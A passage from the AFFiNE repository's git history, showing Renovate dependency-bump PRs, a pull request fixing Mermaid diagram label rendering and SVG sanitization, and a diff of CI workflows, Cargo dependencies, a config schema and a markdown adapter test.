([e05daef](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e05daefcd22ec574a00043ba5dbc13e7097b9970))
- **recommendationengine:** update the API
([7b4553c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7b4553c671f92881f12ca6b0c6d13b9897cff259))
- **recommender:** update the API
([827d7fc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/827d7fcf0b01ee4bb097d0e9b258dacfd903d4de))
- **reseller:** update the API
([3b0d62c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3b0d62ce52be031269cc38d461464fde58015af4))
- **resourcesettings:** update the API
([b499612](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b49961200508406ed5dc860b66d671a1598026b0))
- **runtimeconfig:** update the API
([f4f60c4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f4f60c410d6d7a39d585a3f9711bd1e398cf1d42))
- **safebrowsing:** update the API
([ec3ca1a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ec3ca1abec9b9a90efafba0840ad34bcaf28a24c))
- **sasportal:** update the API
([a6a96bc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a6a96bc8ee62e20c1dd078e8074b07ea523a58fd))
- **script:** update the API
([582352f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/582352f283013f76babffc3f34de45aff10fb44e))
- **searchconsole:** update the API
([25ad1ff](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/25ad1ff213231bf47f909b48349a356b14d5dac6))
- **secretmanager:** update the API
([0d6d936](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0d6d93683ed834ad4414635c8408d1cbacda2c54))
- **servicedirectory:** update the API
([a550687](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a55068740ecafc29a193fe17a0d207e9becfdcac))
- **servicemanagement:** update the API
([74cb0a2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/74cb0a2a62c6b29337808ad6fef57daf5c5afed5))
- **siteVerification:** update the API
([a0d8969](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a0d896969a6635f013a428cc58519075e58f7cfc))
- **slides:** update the API
([3e4be4b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3e4be4b9af47252b6b59de71255b08b2643f63df))
- **smartdevicemanagement:** update the API
([6ec4bd9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6ec4bd90d316f93cd12000ae76feb395c327100e))
- **solar:** update the API
([4377037](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4377037197348f7908f9c0a5937d2acd938ba2e5))
- **sourcerepo:** update the API
([0889507](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/088950701aeffc7aa8e6f2f17f955023e05494e1))
- **speech:** update the API
([504c8d0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/504c8d07f3a9363908cdee44b31294d97087956d))
- **storagetransfer:** update the API
([aee9c44](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/aee9c449cf7b6592a91674d8acf83c3f24089b87))
- **storage:** update the API
([cd03772](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cd037720cda614720bef7852812b1eb99d86d25f))
- **streetviewpublish:** update the API
([3a0401c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3a0401c216fd3c4bc8c11913572cf4f628df4813))
- **sts:** update the API
([bce176a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bce176a17c9e5ff821d2e6a058720f9f744e18b4))
- **tagmanager:** update the API
([594c354](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/594c354031bb89976ac2b46054c2e0cf6bcd3ed0))
- **tasks:** update the API
([4203139](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4203139d06bd3b8487d1d0e2d29b92ba7d9a6975))
- **testing:** update the API
([5d373cc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5d373cc08c089156b7ca26d52fd51c059e5c1227))
- **texttospeech:** update the API
([366a3fc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/366a3fc5e1e88c28e0500dbd72970b52bfa442e0))
- **toolresults:** update the API
([ad28679](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ad28679c983fdc6df90a2cfa73175f7d6f41c741))
- **transcoder:** update the API
([1799ca0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/1799ca0e2b6c03a21e2dfecfcdd20efaf866222f))
- **translate:** update the API
([6ef599c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6ef599c831d7a797b797faf3736ac6514d6bf5c0))
- **travelimpactmodel:** update the API
([be498cd](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/be498cde964258f31edd0d32e5032555b4bf0211))
- **vault:** update the API
([cb9bc44](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cb9bc4432053217aa68d18b283d55a4ca553617f))
- **versionhistory:** update the API
([0e4d78e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0e4d78e3b4fdd766a38662bd270453080efd804d))
- **videointelligence:** update the API
([8139c6a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8139c6a6a353c42b878ba2c5751071ecaa06eff0))
- **vision:** update the API
([c6585c7](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c6585c79b039060193405d68e865552f579dae19))
- **vmmigration:** update the API
([2664ee2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2664ee2f9c1f01d51d8545f4cab82535fac59846))
- **vmwareengine:** update the API
([fcdd0d9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fcdd0d9cc42e7e7b34ec2b431f94043cde95b8e3))
- **vpcaccess:** update the API
([fe1b7f5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fe1b7f52025c36cd63df1b874d1303ab8e13abab))
- **walletobjects:** update the API
([58fe19c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/58fe19cf6606af287f80afa88f6846a0df9a23c6))
- **webfonts:** update the API
([bd5115d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bd5115dbc9c1bdb337f078cfac36bbc5143e41de))
- **webrisk:** update the API
([e227c8e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e227c8ed85845dfaf4aa51b0dd727d53a1a5f9cc))
- **websecurityscanner:** update the API
([3e1d63b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3e1d63b7ab93ca294ec0c983851321bc2fb85338))
- **workflowexecutions:** update the API
([3329041](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3329041d025edb6a14756e9f15324f6265e7a1e2))
- **workflows:** update the API
([b75aa48](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b75aa48a774260202f951f0b0b45255c8b346d69))
- **workspaceevents:** update the API
([78acf6b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/78acf6bdcb0197c34bc4f7950ed4bf351d386b59))
- **youtubeAnalytics:** update the API
([5fdf519](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5fdf519aebe3d4dfaa7fd477d1121dbc9bd1280f))
- **youtubereporting:** update the API
([87c5dcc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/87c5dcc04c98a5defa4a271125cd5a248eca800a))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDYuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwNi4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 16:41:39 +08:00
renovate[bot] f98688f6c7 chore: bump up oxlint to v1.68.0 (#15071)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint](https://oxc.rs/docs/guide/usage/linter)
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint))
| [`1.67.0` →
`1.68.0`](https://renovatebot.com/diffs/npm/oxlint/1.67.0/1.68.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/1.68.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/1.67.0/1.68.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

###
[`v1.68.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1680---2026-06-01)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.67.0...oxlint_v1.68.0)

##### 🚀 Features

-
[`e4b1f46`](https://redirect.github.com/oxc-project/oxc/commit/e4b1f46)
linter/typescript: Implement `method-signature-style` rule
([#&#8203;22679](https://redirect.github.com/oxc-project/oxc/issues/22679))
(Mikhail Baev)
-
[`bc462ca`](https://redirect.github.com/oxc-project/oxc/commit/bc462ca)
linter/vue: Implement no-reserved-component-names rule
([#&#8203;22741](https://redirect.github.com/oxc-project/oxc/issues/22741))
(bab)
-
[`ef9e751`](https://redirect.github.com/oxc-project/oxc/commit/ef9e751)
linter/vue: Implement component-definition-name-casing rule
([#&#8203;22818](https://redirect.github.com/oxc-project/oxc/issues/22818))
(bab)
-
[`d67f51a`](https://redirect.github.com/oxc-project/oxc/commit/d67f51a)
linter/vue: Implement require-prop-type-constructor rule
([#&#8203;22708](https://redirect.github.com/oxc-project/oxc/issues/22708))
(bab)
-
[`8422e8b`](https://redirect.github.com/oxc-project/oxc/commit/8422e8b)
linter/jsdoc: Implement `require-yields-description` rule
([#&#8203;22805](https://redirect.github.com/oxc-project/oxc/issues/22805))
(Mikhail Baev)
-
[`fe93f97`](https://redirect.github.com/oxc-project/oxc/commit/fe93f97)
linter/eslint: Implement `prefer-named-capture-group` rule
([#&#8203;22759](https://redirect.github.com/oxc-project/oxc/issues/22759))
(Sebastian Poxhofer)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 16:21:02 +08:00
Ahsan Khaleeq 37ffef76a4 fix(core): restore Mermaid preview labels and theme-aware contrast (#15073)
fix #14979 
[Bug]: mermaid transparent text in light theme

## Summary

Mermaid diagram preview in code blocks showed shapes and connectors but
no node or edge labels, with poor contrast in dark mode. This change
fixes rendering, sanitization, and display so labels are visible in both
light and dark themes.

## Root cause

1. **Mermaid 11 config** — `flowchart.htmlLabels: false` is ignored;
only root-level `htmlLabels` applies. Labels were still emitted in
`<foreignObject>`.
2. **SVG sanitization** — `sanitizeSvg()` removed all `foreignObject`
elements (and did not allow `<use>`), stripping most label content.
3. **Theme mismatch** — Preview always used Mermaid’s light `default`
theme while the preview panel follows AFFiNE light/dark, causing dark
text on dark backgrounds for edge and title text.
4. **Embedded CSS** — Mermaid’s inline SVG styles often do not apply
after sanitization, leaving text without a visible `fill`.

## Changes

### Classic renderer (`classic-mermaid.ts`)

- Set root-level `htmlLabels: false` (Mermaid 11+).
- Map `dark` theme to Mermaid’s built-in `dark` palette.

### Sanitization (`bridge.ts`)

- Allow `<use>` and `xlink:href` / `href` for label references.
- Allow `class`, `style`, and `id` on SVG nodes.
- **Sanitize** `foreignObject` inner HTML with DOMPurify instead of
deleting it.

### Preview UI (`mermaid-preview.ts`)

- Sync render theme with app `data-theme` (`default` / `dark`) and
re-render on theme change.
- Add CSS overrides so `text` / `tspan` and HTML inside `foreignObject`
use AFFiNE `text/primary`.

### Native / mobile (`preview.rs`)

- Map `dark` and `modern` themes to the modern renderer options (light
uses `default`).

### Types & tests

- Extend `MermaidRenderTheme` with `'dark'`.
- Update unit tests for sanitization and classic config.
- Add integration test (skips when the test environment cannot lay out
Mermaid).

## Test plan

- [ ] Hard refresh or restart `yarn dev`.
- [ ] Create a `mermaid` code block: `graph TD; A-->B` → enable
**Preview**.
- [ ] Confirm labels **A** and **B** appear inside nodes and on the
edge.
- [ ] Toggle AFFiNE **light** / **dark** theme; confirm preview updates
and text stays readable.
- [ ] Run unit tests:
  ```bash
yarn vitest run
packages/frontend/core/src/modules/code-block-preview-renderer/
  ```
- [ ] (Optional) With **Enable Native Mermaid Renderer** enabled in
experimental settings, repeat the manual check.

## Notes for reviewers

- Security: `foreignObject` content is sanitized with the HTML profile;
scripts are stripped.
- The integration test intentionally skips when Mermaid produces an
empty diagram (e.g. happy-dom without full browser layout).


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Mermaid diagrams now adapt to the app's dark or light theme and update
in real time.

* **Improvements**
* SVG sanitization now preserves diagram labels and foreignObject text
while removing unsafe content.
* Classic Mermaid rendering adjusted to keep text labels intact for
previews.

* **Tests**
* Added unit and integration tests covering Mermaid rendering and SVG
sanitization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-03 16:20:34 +08:00
DarkSky 81760fd45c chore: cleanup legacy logic (#15072) 2026-06-03 16:20:15 +08:00
renovate[bot] 8c0e1ba04e chore: bump up linter to v1.68.0 (#15069)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-oxlint](https://redirect.github.com/oxc-project/eslint-plugin-oxlint)
| [`1.67.0` →
`1.68.0`](https://renovatebot.com/diffs/npm/eslint-plugin-oxlint/1.67.0/1.68.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-oxlint/1.68.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-oxlint/1.67.0/1.68.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/eslint-plugin-oxlint
(eslint-plugin-oxlint)</summary>

###
[`v1.68.0`](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/releases/tag/v1.68.0)

[Compare
Source](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.67.0...v1.68.0)

*No significant changes*

#####     [View changes on
GitHub](https://redirect.github.com/oxc-project/eslint-plugin-oxlint/compare/v1.67.0...v1.68.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDYuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 02:40:13 +08:00
403 changed files with 14752 additions and 21322 deletions
-26
View File
@@ -1410,22 +1410,6 @@
}
}
},
"customerIo": {
"type": "object",
"description": "Configuration for customerIo module",
"properties": {
"enabled": {
"type": "boolean",
"description": "Enable customer.io integration\n@default false",
"default": false
},
"token": {
"type": "string",
"description": "Customer.io token\n@default \"\"",
"default": ""
}
}
},
"oauth": {
"type": "object",
"description": "Configuration for oauth module",
@@ -1524,16 +1508,6 @@
"description": "Whether enable lifetime price and allow user to pay for it.\n@default true",
"default": true
},
"apiKey": {
"type": "string",
"description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"default": ""
},
"webhookKey": {
"type": "string",
"description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"default": ""
},
"stripe": {
"type": "object",
"description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",
+9 -2
View File
@@ -59,13 +59,20 @@ runs:
echo "TARGET_CC=clang -D_BSD_SOURCE" >> "$GITHUB_ENV"
fi
- name: Prepare cache key
id: cache-key
shell: bash
run: |
shared_key="$(printf '%s' "${{ inputs.target }}-${{ inputs.package }}" | tr -c 'A-Za-z0-9_.-' '-')"
echo "shared-key=$shared_key" >> "$GITHUB_OUTPUT"
- name: Cache cargo
uses: Swatinem/rust-cache@v2
if: ${{ runner.os == 'Windows' }}
with:
workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
shared-key: ${{ steps.cache-key.outputs.shared-key }}
env:
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
@@ -75,7 +82,7 @@ runs:
if: ${{ runner.os != 'Windows' }}
with:
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
shared-key: ${{ steps.cache-key.outputs.shared-key }}
- name: Build
shell: bash
+1 -1
View File
@@ -31,7 +31,7 @@
"groupSlug": "all-minor-patch",
"matchUpdateTypes": ["minor", "patch"],
"matchManagers": ["npm"],
"matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
"excludePackagePatterns": ["^@blocksuite/", "^oxlint$"]
},
{
"groupName": "all non-major dependencies",
+156 -96
View File
@@ -135,6 +135,159 @@ jobs:
echo "All changes are submitted"
fi
mobile-native-build-filter:
name: Mobile native build filter
runs-on: ubuntu-latest
outputs:
run-android: ${{ steps.mobile-native-filter.outputs.android }}
run-ios: ${{ steps.mobile-native-filter.outputs.ios }}
steps:
- uses: actions/checkout@v6
- uses: dorny/paths-filter@v3
id: mobile-native-filter
with:
filters: |
android:
- '.github/workflows/build-test.yml'
- 'packages/frontend/apps/android/**'
- 'packages/frontend/mobile-native/**'
- '.cargo/**'
- 'Cargo.lock'
- 'Cargo.toml'
- 'rust-toolchain*'
ios:
- '.github/workflows/build-test.yml'
- 'packages/frontend/apps/ios/**'
- 'packages/frontend/mobile-native/**'
- '.cargo/**'
- 'Cargo.lock'
- 'Cargo.toml'
- 'rust-toolchain*'
build-android-app:
name: Build Android app
if: ${{ needs.mobile-native-build-filter.outputs.run-android == 'true' }}
runs-on: ubuntu-latest
needs:
- mobile-native-build-filter
steps:
- uses: actions/checkout@v6
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android
electron-install: false
- uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: '21'
cache: 'gradle'
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-linux-android'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build Android web assets
run: yarn affine @affine/android build
env:
PUBLIC_PATH: '/'
- name: Write CI Firebase config
run: |
cat > packages/frontend/apps/android/App/app/google-services.json <<'JSON'
{
"project_info": {
"project_number": "1",
"project_id": "affine-ci",
"storage_bucket": "affine-ci.appspot.com"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1:android:0000000000000000",
"android_client_info": {
"package_name": "app.affine.pro"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "ci-placeholder"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}
JSON
- name: Cap sync
run: yarn workspace @affine/android cap sync
- name: Build Android debug app
working-directory: packages/frontend/apps/android/App
run: ./gradlew :app:assembleCanaryDebug --no-daemon --stacktrace
build-ios-app:
name: Build iOS app
if: ${{ needs.mobile-native-build-filter.outputs.run-ios == 'true' }}
runs-on: macos-15
needs:
- mobile-native-build-filter
steps:
- uses: actions/checkout@v6
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/ios
electron-install: false
hard-link-nm: false
- uses: maxim-lobanov/setup-xcode@v1
with:
xcode-version: 26.2
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
target: 'aarch64-apple-ios-sim'
package: 'affine_mobile_native'
no-build: 'true'
- name: Build iOS web assets
run: yarn affine @affine/ios build
env:
PUBLIC_PATH: '/'
- name: Cap sync
run: yarn workspace @affine/ios sync
- name: Build iOS simulator app
run: |
xcodebuild \
-workspace packages/frontend/apps/ios/App/App.xcworkspace \
-scheme App \
-configuration Debug \
-sdk iphonesimulator \
-destination 'generic/platform=iOS Simulator' \
ARCHS=arm64 \
ONLY_ACTIVE_ARCH=YES \
CODE_SIGNING_ALLOWED=NO \
CODE_SIGNING_REQUIRED=NO \
build
rust-test-filter:
name: Rust test filter
runs-on: ubuntu-latest
@@ -795,99 +948,6 @@ jobs:
name: affine
fail_ci_if_error: false
miri:
name: miri code check
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
RUST_BACKTRACE: full
CARGO_TERM_COLOR: always
MIRIFLAGS: -Zmiri-backtrace=full -Zmiri-tree-borrows
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: nightly
components: miri
- name: Install latest nextest release
uses: taiki-e/install-action@v2
with:
tool: nextest@0.9.98
- name: Miri Code Check
continue-on-error: true
run: |
cargo +nightly miri nextest run -p y-octo -j4
loom:
name: loom thread test
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
RUSTFLAGS: --cfg loom
RUST_BACKTRACE: full
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable
- name: Install latest nextest release
uses: taiki-e/install-action@v2
with:
tool: nextest@0.9.98
- name: Loom Thread Test
run: |
cargo nextest run -p y-octo --lib
fuzzing:
name: fuzzing
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
runs-on: ubuntu-latest
needs:
- rust-test-filter
env:
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v6
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: nightly
- name: fuzzing
working-directory: ./packages/common/y-octo/utils
run: |
cargo install cargo-fuzz
cargo +nightly fuzz run apply_update -- -max_total_time=30
cargo +nightly fuzz run codec_doc_any_struct -- -max_total_time=30
cargo +nightly fuzz run codec_doc_any -- -max_total_time=30
cargo +nightly fuzz run decode_bytes -- -max_total_time=30
cargo +nightly fuzz run i32_decode -- -max_total_time=30
cargo +nightly fuzz run i32_encode -- -max_total_time=30
cargo +nightly fuzz run ins_del_text -- -max_total_time=30
cargo +nightly fuzz run sync_message -- -max_total_time=30
cargo +nightly fuzz run u64_decode -- -max_total_time=30
cargo +nightly fuzz run u64_encode -- -max_total_time=30
cargo +nightly fuzz run apply_update -- -max_total_time=30
- name: upload fuzz artifacts
if: ${{ failure() }}
uses: actions/upload-artifact@v4
with:
name: fuzz-artifact
path: packages/common/y-octo/utils/fuzz/artifacts/**/*
rust-test:
name: Run native tests
if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
@@ -1328,6 +1388,9 @@ jobs:
- analyze
- lint
- typecheck
- mobile-native-build-filter
- build-android-app
- build-ios-app
- lint-rust
- check-git-status
- check-yarn-binary
@@ -1342,9 +1405,6 @@ jobs:
- build-server-native
- build-electron-renderer
- native-unit-test
- miri
- loom
- fuzzing
- server-test
- server-e2e-test
- rust-test
@@ -101,7 +101,7 @@ jobs:
- name: Signing By Apple Developer ID
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
uses: apple-actions/import-codesign-certs@v6
uses: apple-actions/import-codesign-certs@v7
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
+1 -1
View File
@@ -114,7 +114,7 @@ jobs:
- name: Cap sync
run: yarn workspace @affine/ios sync
- name: Signing By Apple Developer ID
uses: apple-actions/import-codesign-certs@v6
uses: apple-actions/import-codesign-certs@v7
id: import-codesign-certs
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}
+1 -1
View File
@@ -72,7 +72,7 @@ jobs:
steps:
- name: Decide whether to release
id: decide
uses: actions/github-script@v8
uses: actions/github-script@v9
with:
script: |
const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'
+8
View File
@@ -6,6 +6,7 @@
!.yarn/releases
!.yarn/sdks
.yarn/versions
.corepack-bin
# compiled output
*dist
@@ -50,6 +51,7 @@ tsconfig.tsbuildinfo
.context
/*.md
.codex
.cursor
# System Files
.DS_Store
@@ -94,3 +96,9 @@ af.cmd
# playwright
storageState.json
/.understand-anything
# local test/browser artifacts
/.playwright-browsers/
**/.vitest-attachments/
/blocksuite/framework/std/src/__tests__/gfx/__screenshots__/
Generated
+790 -536
View File
File diff suppressed because it is too large Load Diff
+3 -23
View File
@@ -2,8 +2,6 @@
members = [
"./packages/backend/native",
"./packages/common/native",
"./packages/common/y-octo/core",
"./packages/common/y-octo/utils",
"./packages/frontend/mobile-native",
"./packages/frontend/native",
"./packages/frontend/native/nbstore",
@@ -23,7 +21,6 @@ resolver = "3"
anyhow = "1"
arbitrary = { version = "1.3", features = ["derive"] }
assert-json-diff = "2.0"
async-lock = { version = "3.4.0", features = ["loom"] }
base64-simd = "0.8"
bitvec = "1.0"
block2 = "0.6"
@@ -37,7 +34,7 @@ resolver = "3"
criterion2 = { version = "3", default-features = false }
crossbeam-channel = "0.5"
dispatch2 = "0.3"
docx-parser = { git = "https://github.com/toeverything/docx-parser", rev = "380beea" }
doc_extractor = "0.1.0"
dotenvy = "0.15"
file-format = { version = "0.28", features = ["reader"] }
hex = "0.4"
@@ -58,7 +55,6 @@ resolver = "3"
llm_adapter = { version = "0.2", default-features = false }
llm_runtime = { version = "0.2", default-features = false }
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
lru = "0.16"
matroska = "0.30"
memory-indexer = "0.3.1"
@@ -84,8 +80,6 @@ resolver = "3"
ordered-float = "5"
p256 = { version = "0.13", features = ["ecdsa", "pem"] }
parking_lot = "0.12"
path-ext = "0.1.2"
pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
phf = { version = "0.11", features = ["macros"] }
proptest = "1.3"
proptest-derive = "0.5"
@@ -94,9 +88,9 @@ resolver = "3"
rand_chacha = "0.9"
rand_distr = "0.5"
rayon = "1.10"
readability = { version = "0.3.0", default-features = false }
regex = "1.10"
rubato = "0.16"
safefetch = "0.1.0"
schemars = "0.8"
screencapturekit = "0.3"
serde = "1"
@@ -111,24 +105,10 @@ resolver = "3"
"runtime-tokio",
"sqlite",
] }
strum_macros = "0.27.0"
symphonia = { version = "0.5", features = ["all", "opt-simd"] }
text-splitter = "0.27"
thiserror = "2"
tiktoken-rs = "0.7"
tokio = "1.45"
tree-sitter = { version = "0.25" }
tree-sitter-c = { version = "0.24" }
tree-sitter-c-sharp = { version = "0.23" }
tree-sitter-cpp = { version = "0.23" }
tree-sitter-go = { version = "0.23" }
tree-sitter-java = { version = "0.23" }
tree-sitter-javascript = { version = "0.23" }
tree-sitter-kotlin-ng = { version = "1.1" }
tree-sitter-python = { version = "0.23" }
tree-sitter-rust = { version = "0.24" }
tree-sitter-scala = { version = "0.24" }
tree-sitter-typescript = { version = "0.23" }
typst = "0.14.2"
typst-as-lib = { version = "0.15.4", default-features = false, features = [
"packages",
@@ -154,7 +134,7 @@ resolver = "3"
"Win32_UI_Shell_PropertiesSystem",
] }
windows-core = { version = "0.61" }
y-octo = { path = "./packages/common/y-octo/core" }
y-octo = "0.0.3"
y-sync = { version = "0.4" }
yrs = "0.23.0"
@@ -270,6 +270,54 @@ Hello world
expect(meta?.tags).toEqual(['a', 'b']);
});
test('preserves list text inside blockquotes without list blocks', async () => {
const markdown = `> **Shopping List:**
> - Apples
> - Bananas
> - Oranges
`;
const mdAdapter = new MarkdownAdapter(createJob(), provider);
const snapshot = await mdAdapter.toDocSnapshot({
file: markdown,
assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
});
expect(simplifyBlockForSnapshot(snapshot.blocks, new Map())).toMatchObject({
children: [
{
